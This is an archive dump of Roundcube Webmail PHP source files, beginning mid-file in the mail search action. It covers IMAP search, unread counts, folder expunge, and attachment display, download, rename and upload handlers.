        $continue = rcube_utils::get_input_string('_continue', rcube_utils::INPUT_GET);

        $filter         = trim((string) $filter);
        $search_request = md5($mbox . $scope . $interval . $filter . $str);

        // Parse input
        list($subject, $search) = self::search_input($str, $headers, $scope, $mbox);

        // add list filter string
        $search_str = $filter && $filter != 'ALL' ? $filter : '';

        if ($search_interval = self::search_interval_criteria($interval)) {
            $search_str .= ' ' . $search_interval;
        }

        if (!empty($subject)) {
            $search_str .= str_repeat(' OR', count($subject)-1);
            foreach ($subject as $sub) {
                $search_str .= ' ' . $sub . ' ' . rcube_imap_generic::escape($search);
            }
        }

        $search_str  = trim($search_str);
        $sort_column = self::sort_column();
        $sort_order  = self::sort_order();

        // set message set for already stored (but incomplete) search request
        if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
            $rcmail->storage->set_search_set($_SESSION['search']);
            $search_str = $_SESSION['search'][0];
        }

        // execute IMAP search
        if ($search_str) {
            $mboxes = [];

            // search all, current or subfolders folders
            if ($scope == 'all') {
                $mboxes = $rcmail->storage->list_folders_subscribed('', '*', 'mail', null, true);
                // we want natural alphabetic sorting of folders in the result set
                natcasesort($mboxes);
            }
            else if ($scope == 'sub') {
                $delim  = $rcmail->storage->get_hierarchy_delimiter();
                $mboxes = $rcmail->storage->list_folders_subscribed($mbox . $delim, '*', 'mail');
                array_unshift($mboxes, $mbox);
            }

            if ($scope != 'all') {
                // Remember current folder, it can change in meantime (plugins)
                // but we need it to e.g. recognize Sent folder to handle From/To column later
                $rcmail->output->set_env('mailbox', $mbox);
            }

            $result = $rcmail->storage->search($mboxes, $search_str, RCUBE_CHARSET, $sort_column);
        }

        // save search results in session
        if (!isset($_SESSION['search']) || !is_array($_SESSION['search'])) {
            $_SESSION['search'] = [];
        }

        if ($search_str) {
            $_SESSION['search'] = $rcmail->storage->get_search_set();
            $_SESSION['last_text_search'] = $str;
        }

        $_SESSION['search_request']  = $search_request;
        $_SESSION['search_scope']    = $scope;
        $_SESSION['search_interval'] = $interval;
        $_SESSION['search_filter']   = $filter;

        // Get the headers
        if (!isset($result) || empty($result->incomplete)) {
            $result_h = $rcmail->storage->list_messages($mbox, 1, $sort_column, $sort_order);
        }

        // Make sure we got the headers
        if (!empty($result_h)) {
            $count = $rcmail->storage->count($mbox, $rcmail->storage->get_threading() ? 'THREADS' : 'ALL');

            self::js_message_list($result_h, false);

            if ($search_str) {
                $all_count = $rcmail->storage->count(null, 'ALL');
                $rcmail->output->show_message('searchsuccessful', 'confirmation', ['nr' => $all_count]);
            }

            // remember last HIGHESTMODSEQ value (if supported)
            // we need it for flag updates in check-recent
            if ($mbox !== null) {
                $data = $rcmail->storage->folder_data($mbox);
                if (!empty($data['HIGHESTMODSEQ'])) {
                    $_SESSION['list_mod_seq'] = $data['HIGHESTMODSEQ'];
                }
            }
        }
        // handle IMAP errors (e.g. #1486905)
        else if ($err_code = $rcmail->storage->get_error_code()) {
            $count = 0;
            self::display_server_error();
        }
        // advice the client to re-send the (cross-folder) search request
        else if (!empty($result) && !empty($result->incomplete)) {
            $count = 0;  // keep UI locked
            $rcmail->output->command('continue_search', $search_request);
        }
        else {
            $count = 0;

            $rcmail->output->show_message('searchnomatch', 'notice');
            $rcmail->output->set_env('multifolder_listing', isset($result) ? !empty($result->multi) : false);

            if (isset($result) && !empty($result->multi) && $scope == 'all') {
                $rcmail->output->command('select_folder', '');
            }
        }

        // update message count display
        $rcmail->output->set_env('search_request', $search_str ? $search_request : '');
        $rcmail->output->set_env('search_filter', $_SESSION['search_filter']);
        $rcmail->output->set_env('messagecount', $count);
        $rcmail->output->set_env('pagecount', ceil($count / $rcmail->storage->get_pagesize()));
        $rcmail->output->set_env('exists', $mbox === null ? 0 : $rcmail->storage->count($mbox, 'EXISTS'));
        $rcmail->output->command('set_rowcount', self::get_messagecount_text($count, 1), $mbox);

        self::list_pagetitle();

        // update unseen messages count
        if ($search_str === '') {
            self::send_unread_count($mbox, false, empty($result_h) ? 0 : null);
        }

        if (isset($result) && empty($result->incomplete)) {
            $rcmail->output->command('set_quota', self::quota_content(null, !empty($result->multi) ? 'INBOX' : $mbox));
        }

        $rcmail->output->send();
    }

    /**
     * Creates BEFORE/SINCE search criteria from the specified interval
     * Interval can be: 1W, 1M, 1Y, -1W, -1M, -1Y
     */
    public static function search_interval_criteria($interval)
    {
        if (empty($interval)) {
            return;
        }

        if ($interval[0] == '-') {
            $search   = 'BEFORE';
            $interval = substr($interval, 1);
        }
        else {
            $search = 'SINCE';
        }

        $date     = new DateTime('now');
        $interval = new DateInterval('P' . $interval);

        $date->sub($interval);

        return $search . ' ' . $date->format('j-M-Y');
    }

    /**
     * Parse search input.
     *
     * @param string $str     Search string
     * @param string $headers Comma-separated list of headers/fields to search in
     * @param string $scope   Search scope (all | base | sub)
     * @param string $mbox    Folder name
     *
     * @return array Search criteria (1st element) and search value (2nd element)
     */
    public static function search_input($str, $headers, $scope, $mbox)
    {
        $rcmail    = rcmail::get_instance();
        $subject   = [];
        $srch      = null;
        $supported = ['subject', 'from', 'to', 'cc', 'bcc'];

        // Check the search string for type of search
        if (preg_match("/^(from|to|reply-to|cc|bcc|subject):.*/i", $str, $m)) {
            list(, $srch) = explode(":", $str);
            $subject[$m[1]] = 'HEADER ' . strtoupper($m[1]);
        }
        else if (preg_match("/^body:.*/i", $str)) {
            list(, $srch) = explode(":", $str);
            $subject['body'] = 'BODY';
        }
        else if (strlen(trim($str))) {
            if ($headers) {
                foreach (explode(',', $headers) as $header) {
                    switch ($header) {
                    case 'text':
                        // #1488208: get rid of other headers when searching by "TEXT"
                        $subject = ['text' => 'TEXT'];
                        break 2;
                    case 'body':
                        $subject['body'] = 'BODY';
                        break;
                    case 'replyto':
                    case 'reply-to':
                        $subject['reply-to'] = 'HEADER REPLY-TO';
                        $subject['mail-reply-to'] = 'HEADER MAIL-REPLY-TO';
                        break;
                    case 'followupto':
                    case 'followup-to':
                        $subject['followup-to'] = 'HEADER FOLLOWUP-TO';
                        $subject['mail-followup-to'] = 'HEADER MAIL-FOLLOWUP-TO';
                        break;
                    default:
                        if (in_array_nocase($header, $supported)) {
                            $subject[$header] = 'HEADER ' . strtoupper($header);
                        }
                    }
                }

                // save search modifiers for the current folder to user prefs
                if ($scope != 'all') {
                    $search_mods       = self::search_mods();
                    $search_mods_value = array_fill_keys(array_keys($subject), 1);

                    if (!isset($search_mods[$mbox]) || $search_mods[$mbox] != $search_mods_value) {
                        $search_mods[$mbox] = $search_mods_value;
                        $rcmail->user->save_prefs(['search_mods' => $search_mods]);
                    }
                }
            }
            else {
                // search in subject by default
                $subject['subject'] = 'HEADER SUBJECT';
            }
        }

        return [$subject, isset($srch) ? trim($srch) : trim($str)];
    }
}
PK
h�\6���+program/actions/mail/attachment_display.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Display attachments in compose form                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        self::init();
        self::display_uploaded_file(self::get_attachment());
        exit;
    }
}
PK
h�\^��::'program/actions/mail/folder_expunge.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Implement folder EXPUNGE request                                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_folder_expunge extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $mbox   = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);

        $success = $rcmail->storage->expunge_folder($mbox);

        // reload message list if current mailbox
        if ($success) {
            $rcmail->output->show_message('folderexpunged', 'confirmation');

            if (!empty($_REQUEST['_reload'])) {
                $rcmail->output->command('set_quota', self::quota_content(null, $mbox));
                $rcmail->output->command('message_list.clear');
                $rcmail->action = 'list';
                return;
            }
        }
        else {
            self::display_server_error();
        }

        $rcmail->output->send();
    }
}
PK
h�\P�~PP*program/actions/mail/attachment_rename.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Rename attachments in compose form                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_attachment_rename extends rcmail_action_mail_attachment_upload
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        self::init();

        $filename = rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST);
        $filename = trim($filename);

        if (
            strlen($filename)
            && ($attachment = self::get_attachment())
            && is_array($attachment)
        ) {
            $attachment['name'] = $filename;

            $rcmail->session->remove(self::$SESSION_KEY . '.attachments. ' . self::$file_id);
            $rcmail->session->append(self::$SESSION_KEY . '.attachments', $attachment['id'], $attachment);

            $rcmail->output->command('rename_attachment_handler', 'rcmfile' . self::$file_id, $filename);
        }

        $rcmail->output->send();
    }
}
PK
h�\���RDD"program/actions/mail/getunread.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Check all mailboxes for unread messages and update GUI              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_getunread extends rcmail_action_mail_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail    = rcmail::get_instance();
        $a_folders = $rcmail->storage->list_folders_subscribed('', '*', 'mail');

        if (!empty($a_folders)) {
            $current   = $rcmail->storage->get_folder();
            $inbox     = $current == 'INBOX';
            $trash     = $rcmail->config->get('trash_mbox');
            $check_all = (bool) $rcmail->config->get('check_all_folders');

            foreach ($a_folders as $mbox) {
                $unseen_old = self::get_unseen_count($mbox);

                if (!$check_all && $unseen_old !== null && $mbox != $current) {
                    $unseen = $unseen_old;
                }
                else {
                    $unseen = $rcmail->storage->count($mbox, 'UNSEEN', $unseen_old === null);
                }

                // call it always for current folder, so it can update counter
                // after possible message status change when opening a message
                // not in preview frame
                if ($unseen || $unseen_old === null || $mbox == $current) {
                    $rcmail->output->command('set_unread_count', $mbox, $unseen, $inbox && $mbox == 'INBOX');
                }

                self::set_unseen_count($mbox, $unseen);

                // set trash folder state
                if ($mbox === $trash) {
                    $rcmail->output->command('set_trash_count', $rcmail->storage->count($mbox, 'EXISTS'));
                }
            }
        }

        $rcmail->output->send();
    }
}
PK
h�\S{�>�>program/actions/mail/get.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delivering a specific uploaded file or mail message attachment      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_get extends rcmail_action_mail_index
{
    protected static $attachment;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // This resets X-Frame-Options for framed output (#6688)
        $rcmail->output->page_headers();

        // show loading page
        if (!empty($_GET['_preload'])) {
            unset($_GET['_preload']);
            unset($_GET['_safe']);

            $url     = $rcmail->url($_GET + ['_mimewarning' => 1, '_embed' => 1]);
            $message = $rcmail->gettext('loadingdata');

            header('Content-Type: text/html; charset=' . RCUBE_CHARSET);
            print "<html>\n<head>\n"
                . '<meta http-equiv="refresh" content="0; url='.rcube::Q($url).'">' . "\n"
                . '<meta http-equiv="content-type" content="text/html; charset=' . RCUBE_CHARSET . '">' . "\n"
                . "</head>\n<body>\n$message\n</body>\n</html>";
            exit;
        }

        $attachment = new rcmail_attachment_handler;
        $mimetype = $attachment->mimetype;
        $filename = $attachment->filename;

        self::$attachment = $attachment;

        // show part page
        if (!empty($_GET['_frame'])) {
            $rcmail->output->set_pagetitle($filename);

            // register UI objects
            $rcmail->output->add_handlers([
                    'messagepartframe'    => [$this, 'message_part_frame'],
                    'messagepartcontrols' => [$this, 'message_part_controls'],
            ]);

            $part_id = rcube_utils::get_input_string('_part', rcube_utils::INPUT_GET);
            $uid     = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET);

            // message/rfc822 preview (Note: handle also multipart/ parts, they can
            // come from Enigma, which replaces message/rfc822 with real mimetype)
            if ($part_id && ($mimetype == 'message/rfc822' || strpos($mimetype, 'multipart/') === 0)) {
                $uid = preg_replace('/\.[0-9.]+/', '', $uid);
                $uid .= '.' . $part_id;

                $rcmail->output->set_env('is_message', true);
            }

            $rcmail->output->set_env('mailbox', $rcmail->storage->get_folder());
            $rcmail->output->set_env('uid', $uid);
            $rcmail->output->set_env('part', $part_id);
            $rcmail->output->set_env('filename', $filename);
            $rcmail->output->set_env('mimetype', $mimetype);

            $rcmail->output->send('messagepart');
        }

        // render thumbnail of an image attachment
        if (!empty($_GET['_thumb']) && $attachment->is_valid()) {
            $thumbnail_size = $rcmail->config->get('image_thumbnail_size', 240);
            $file_ident     = $attachment->ident;
            $thumb_name     = 'thumb' . md5($file_ident . ':' . $rcmail->user->ID . ':' . $thumbnail_size);
            $cache_file     = rcube_utils::temp_filename($thumb_name, false, false);

            // render thumbnail image if not done yet
            if (!is_file($cache_file) && $attachment->body_to_file($orig_name = rcube_utils::temp_filename('attmnt'))) {
                $image = new rcube_image($orig_name);

                if ($imgtype = $image->resize($thumbnail_size, $cache_file, true)) {
                    $mimetype = 'image/' . $imgtype;
                }
                else {
                    // Resize failed, we need to check the file mimetype
                    // So, we do not exit here, but goto generic file body handler below
                    $_GET['_thumb']     = 0;
                    $_REQUEST['_embed'] = 1;
                }
            }

            if (!empty($_GET['_thumb'])) {
                if (is_file($cache_file)) {
                    $rcmail->output->future_expire_header(3600);
                    header('Content-Type: ' . $mimetype);
                    header('Content-Length: ' . filesize($cache_file));
                    readfile($cache_file);
                }

                exit;
            }
        }

        // Handle attachment body (display or download)
        if (empty($_GET['_thumb']) && $attachment->is_valid()) {
            // require CSRF protected url for downloads
            if (!empty($_GET['_download'])) {
                $rcmail->request_security_check(rcube_utils::INPUT_GET);
            }

            $extensions = rcube_mime::get_mime_extensions($mimetype);

            // compare file mimetype with the stated content-type headers and file extension to avoid malicious operations
            if (!empty($_REQUEST['_embed']) && empty($_REQUEST['_nocheck'])) {
                $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

                // 1. compare filename suffix with expected suffix derived from mimetype
                $valid = $file_extension && in_array($file_extension, (array)$extensions)
                    || empty($extensions)
                    || !empty($_REQUEST['_mimeclass']);

                // 2. detect the real mimetype of the attachment part and compare it with the stated mimetype and filename extension
                if ($valid || !$file_extension || $mimetype == 'application/octet-stream' || stripos($mimetype, 'text/') === 0) {
                    $tmp_body = $attachment->body(2048);

                    // detect message part mimetype
                    $real_mimetype = rcube_mime::file_content_type($tmp_body, $filename, $mimetype, true, true);
                    list($real_ctype_primary, $real_ctype_secondary) = explode('/', $real_mimetype);

                    // accept text/plain with any extension
                    if ($real_mimetype == 'text/plain' && self::mimetype_compare($real_mimetype, $mimetype)) {
                        $valid_extension = true;
                    }
                    // ignore differences in text/* mimetypes. Filetype detection isn't very reliable here
                    else if ($real_ctype_primary == 'text' && strpos($mimetype, $real_ctype_primary) === 0) {
                        $real_mimetype   = $mimetype;
                        $valid_extension = true;
                    }
                    // ignore filename extension if mimeclass matches (#1489029)
                    else if (!empty($_REQUEST['_mimeclass']) && $real_ctype_primary == $_REQUEST['_mimeclass']) {
                        $valid_extension = true;
                    }
                    else {
                        // get valid file extensions
                        $extensions      = rcube_mime::get_mime_extensions($real_mimetype);
                        $valid_extension = !$file_extension || empty($extensions) || in_array($file_extension, (array)$extensions);
                    }

                    if (
                        // fix mimetype for files wrongly declared as octet-stream
                        ($mimetype == 'application/octet-stream' && $valid_extension)
                        // force detected mimetype for images (#8158)
                        || (strpos($real_mimetype, 'image/') === 0)
                    ) {
                        $mimetype = $real_mimetype;
                    }

                    // "fix" real mimetype the same way the original is before comparison
                    $real_mimetype = rcube_mime::fix_mimetype($real_mimetype);

                    $valid = $valid_extension && self::mimetype_compare($real_mimetype, $mimetype);
                }
                else {
                    $real_mimetype = $mimetype;
                }

                // show warning if validity checks failed
                if (!$valid) {
                    // send blocked.gif for expected images
                    if (empty($_REQUEST['_mimewarning']) && strpos($mimetype, 'image/') === 0) {
                        // Do not cache. Failure might be the result of a misconfiguration,
                        // thus real content should be returned once fixed.
                        $content = self::get_resource_content('blocked.gif');
                        $rcmail->output->nocacheing_headers();
                        header("Content-Type: image/gif");
                        header("Content-Transfer-Encoding: binary");
                        header("Content-Length: " . strlen($content));
                        echo $content;
                    }
                    // html warning with a button to load the file anyway
                    else {
                        $rcmail->output = new rcmail_html_page();
                        $rcmail->output->register_inline_warning(
                            $rcmail->gettext([
                                    'name' => 'attachmentvalidationerror',
                                    'vars' => [
                                        'expected' => $mimetype . (!empty($file_extension) ? rcube::Q(" (.{$file_extension})") : ''),
                                        'detected' => $real_mimetype . (!empty($extensions[0]) ? " (.{$extensions[0]})" : ''),
                                    ]
                            ]),
                            $rcmail->gettext('showanyway'),
                            $rcmail->url(array_merge($_GET, ['_nocheck' => 1]))
                        );

                        $rcmail->output->write();
                    }

                    exit;
                }
            }

            // TIFF/WEBP to JPEG conversion, if needed
            foreach (['tiff', 'webp'] as $type) {
                $img_support = !empty($_SESSION['browser_caps']) && !empty($_SESSION['browser_caps'][$type]);
                if (
                    !empty($_REQUEST['_embed'])
                    && !$img_support
                    && $attachment->image_type() == 'image/' . $type
                    && rcube_image::is_convertable('image/' . $type)
                ) {
                    $convert2jpeg = true;
                    $mimetype     = 'image/jpeg';
                    break;
                }
            }

            // deliver part content
            if ($mimetype == 'text/html' && empty($_GET['_download'])) {
                $rcmail->output = new rcmail_html_page();
                $out = '';

                // Check if we have enough memory to handle the message in it
                // #1487424: we need up to 10x more memory than the body
                if (!rcube_utils::mem_check($attachment->size * 10)) {
                    $rcmail->output->register_inline_warning(
                        $rcmail->gettext('messagetoobig'),
                        $rcmail->gettext('download'),
                        $rcmail->url(array_merge($_GET, ['_download' => 1]))
                    );
                }
                else {
                    // render HTML body
                    $out = $attachment->html();

                    // insert remote objects warning into HTML body
                    if (self::$REMOTE_OBJECTS) {
                        $rcmail->output->register_inline_warning(
                            $rcmail->gettext('blockedresources'),
                            $rcmail->gettext('allow'),
                            $rcmail->url(array_merge($_GET, ['_safe' => 1]))
                        );
                    }
                }

                $rcmail->output->write($out);
                exit;
            }

            // add filename extension if missing
            if (!pathinfo($filename, PATHINFO_EXTENSION) && ($extensions = rcube_mime::get_mime_extensions($mimetype))) {
                $filename .= '.' . $extensions[0];
            }

            $rcmail->output->download_headers($filename, [
                    'type'         => $mimetype,
                    'type_charset' => $attachment->charset,
                    'disposition'  => !empty($_GET['_download']) ? 'attachment' : 'inline',
            ]);

            // handle tiff to jpeg conversion
            if (!empty($convert2jpeg)) {
                $file_path = rcube_utils::temp_filename('attmnt');

                // convert image to jpeg and send it to the browser
                if ($attachment->body_to_file($file_path)) {
                    $image = new rcube_image($file_path);
                    if ($image->convert(rcube_image::TYPE_JPG, $file_path)) {
                        header("Content-Length: " . filesize($file_path));
                        readfile($file_path);
                    }
                }
            }
            else {
                $attachment->output($mimetype);
            }

            exit;
        }

        // if we arrive here, the requested part was not found
        header('HTTP/1.1 404 Not Found');
        exit;
    }

    /**
     * Compares two mimetype strings with making sure that
     * e.g. image/bmp and image/x-ms-bmp are treated as equal.
     */
    public static function mimetype_compare($type1, $type2)
    {
        $regexp = '~/(x-ms-|x-)~';
        $type1  = preg_replace($regexp, '/', $type1);
        $type2  = preg_replace($regexp, '/', $type2);

        return $type1 === $type2;
    }

    /**
     * Attachment properties table
     */
    public static function message_part_controls($attrib)
    {
        if (!self::$attachment->is_valid()) {
            return '';
        }

        $rcmail = rcmail::get_instance();
        $table  = new html_table(['cols' => 2]);

        $table->add('title', rcube::Q($rcmail->gettext('namex')).':');
        $table->add('header', rcube::Q(self::$attachment->filename));

        $table->add('title', rcube::Q($rcmail->gettext('type')).':');
        $table->add('header', rcube::Q(self::$attachment->mimetype));

        $table->add('title', rcube::Q($rcmail->gettext('size')).':');
        $table->add('header', rcube::Q(self::$attachment->size()));

        return $table->show($attrib);
    }

    /**
     * Attachment preview frame
     */
    public static function message_part_frame($attrib)
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->output->get_env('is_message')) {
            $url = [
                'task'   => 'mail',
                'action' => 'preview',
                'uid'    => $rcmail->output->get_env('uid'),
                'mbox'   => $rcmail->output->get_env('mailbox'),
            ];
        }
        else {
            $mimetype = $rcmail->output->get_env('mimetype');
            $url      = $_GET;
            $url[strpos($mimetype, 'text/') === 0 ? '_embed' : '_preload'] = 1;
            unset($url['_frame']);
        }

        $url['_framed'] = 1; // For proper X-Frame-Options:deny handling

        $attrib['src'] = $rcmail->url($url);

        $rcmail->output->add_gui_object('messagepartframe', $attrib['id']);

        return html::iframe($attrib);
    }
}
PK
h�\��R-R-*program/actions/mail/attachment_upload.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Attachment uploads handler for the compose form                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_attachment_upload extends rcmail_action_mail_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    protected static $SESSION_KEY;
    protected static $COMPOSE;
    protected static $COMPOSE_ID;
    protected static $file_id;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        self::init();

        // clear all stored output properties (like scripts and env vars)
        $rcmail->output->reset();

        $uploadid = rcube_utils::get_input_string('_uploadid', rcube_utils::INPUT_GPC);
        $uri      = rcube_utils::get_input_string('_uri', rcube_utils::INPUT_POST);

        // handle dropping a reference to an attachment part of some message
        if ($uri) {
            $attachment = null;

            $url = parse_url($uri);

            if (!empty($url['query'])) {
                parse_str($url['query'], $params);
            }

            if (
                !empty($params) && isset($params['_mbox']) && strlen($params['_mbox'])
                && !empty($params['_uid']) && !empty($params['_part'])
            ) {
                // @TODO: at some point we might support drag-n-drop between
                // two different accounts on the same server, for now make sure
                // this is the same server and the same user
                list($host, $port) = rcube_utils::explode(':', $_SERVER['HTTP_HOST']);

                if (
                    $host == $url['host']
                    && $port == ($url['port'] ?? null)
                    && $rcmail->get_user_name() == rawurldecode($url['user'])
                ) {
                    $message = new rcube_message($params['_uid'], $params['_mbox']);

                    if ($message && !empty($message->headers)) {
                        $attachment = rcmail_action_mail_compose::save_attachment($message, $params['_part'], self::$COMPOSE_ID);
                    }
                }
            }

            $plugin = $rcmail->plugins->exec_hook('attachment_from_uri', [
                    'attachment' => $attachment,
                    'uri'        => $uri,
                    'compose_id' => self::$COMPOSE_ID
            ]);

            if ($plugin['attachment']) {
                self::attachment_success($plugin['attachment'], $uploadid);
            }
            else {
                $rcmail->output->command('display_message', $rcmail->gettext('filelinkerror'), 'error');
                $rcmail->output->command('remove_from_attachment_list', $uploadid);
            }

            $rcmail->output->send();
        }

        // handle file(s) upload
        if (is_array($_FILES['_attachments']['tmp_name'])) {
            $multiple = count($_FILES['_attachments']['tmp_name']) > 1;
            $errors   = [];

            foreach ($_FILES['_attachments']['tmp_name'] as $i => $filepath) {
                // Process uploaded attachment if there is no error
                $err = $_FILES['_attachments']['error'][$i];

                if (!$err) {
                    $filename = $_FILES['_attachments']['name'][$i];
                    $filesize = $_FILES['_attachments']['size'][$i];
                    $filetype = rcube_mime::file_content_type($filepath, $filename, $_FILES['_attachments']['type'][$i]);

                    if ($err = self::check_message_size($filesize, $filetype)) {
                        if (!in_array($err, $errors)) {
                            $rcmail->output->command('display_message', $err, 'error');
                            $rcmail->output->command('remove_from_attachment_list', $uploadid);
                            $errors[] = $err;
                        }

                        continue;
                    }

                    $attachment = $rcmail->plugins->exec_hook('attachment_upload', [
                            'path'     => $filepath,
                            'name'     => $filename,
                            'size'     => $filesize,
                            'mimetype' => $filetype,
                            'group'    => self::$COMPOSE_ID,
                    ]);
                }

                if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
                    // store new attachment in session
                    unset($attachment['status'], $attachment['abort']);
                    $rcmail->session->append(self::$SESSION_KEY . '.attachments', $attachment['id'], $attachment);

                    self::attachment_success($attachment, $uploadid);
                }
                else {  // upload failed
                    if ($err == UPLOAD_ERR_INI_SIZE || $err == UPLOAD_ERR_FORM_SIZE) {
                        $size = self::show_bytes(rcube_utils::max_upload_size());
                        $msg  = $rcmail->gettext(['name' => 'filesizeerror', 'vars' => ['size' => $size]]);
                    }
                    else if (!empty($attachment['error'])) {
                        $msg = $attachment['error'];
                    }
                    else {
                        $msg = $rcmail->gettext('fileuploaderror');
                    }

                    if (!empty($attachment['error']) || $err != UPLOAD_ERR_NO_FILE) {
                        if (!in_array($msg, $errors)) {
                            $rcmail->output->command('display_message', $msg, 'error');
                            $rcmail->output->command('remove_from_attachment_list', $uploadid);
                            $errors[] = $msg;
                        }
                    }
                }
            }
        }
        else if (self::upload_failure()) {
            $rcmail->output->command('remove_from_attachment_list', $uploadid);
        }

        // send html page with JS calls as response
        $rcmail->output->command('auto_save_start', false);
        $rcmail->output->send('iframe');
    }

    public static function init()
    {
        self::$COMPOSE_ID  = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
        self::$COMPOSE     = null;
        self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

        if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
            self::$COMPOSE =& $_SESSION[self::$SESSION_KEY];
        }

        if (!self::$COMPOSE) {
            die("Invalid session var!");
        }

        self::$file_id = rcube_utils::get_input_string('_file', rcube_utils::INPUT_GPC);
        self::$file_id = preg_replace('/^rcmfile/', '', self::$file_id) ?: 'unknown';
    }

    public static function get_attachment()
    {
        return self::$COMPOSE['attachments'][self::$file_id] ?? null;
    }

    public static function attachment_success($attachment, $uploadid)
    {
        $rcmail = rcmail::get_instance();
        $id     = $attachment['id'];

        if (!empty(self::$COMPOSE['deleteicon']) && is_file(self::$COMPOSE['deleteicon'])) {
            $button = html::img([
                    'src' => self::$COMPOSE['deleteicon'],
                    'alt' => $rcmail->gettext('delete')
            ]);
        }
        else if (!empty(self::$COMPOSE['textbuttons'])) {
            $button = rcube::Q($rcmail->gettext('delete'));
        }
        else {
            $button = '';
        }

        $link_content = sprintf(
            '<span class="attachment-name">%s</span><span class="attachment-size">(%s)</span>',
            rcube::Q($attachment['name']), self::show_bytes($attachment['size'])
        );

        $content_link = html::a([
                'href'    => "#load",
                'class'   => 'filename',
                'onclick' => sprintf(
                    "return %s.command('load-attachment','rcmfile%s', this, event)",
                    rcmail_output::JS_OBJECT_NAME,
                    $id
                ),
            ], $link_content);

        $delete_link = html::a([
                'href'    => "#delete",
                'onclick' => sprintf(
                    "return %s.command('remove-attachment','rcmfile%s', this, event)",
                    rcmail_output::JS_OBJECT_NAME,
                    $id
                ),
                'title'   => $rcmail->gettext('delete'),
                'class'   => 'delete',
                'aria-label' => $rcmail->gettext('delete') . ' ' . $attachment['name'],
            ], $button);

        if (!empty(self::$COMPOSE['icon_pos']) && self::$COMPOSE['icon_pos'] == 'left') {
            $content = $delete_link . $content_link;
        }
        else {
            $content = $content_link . $delete_link;
        }

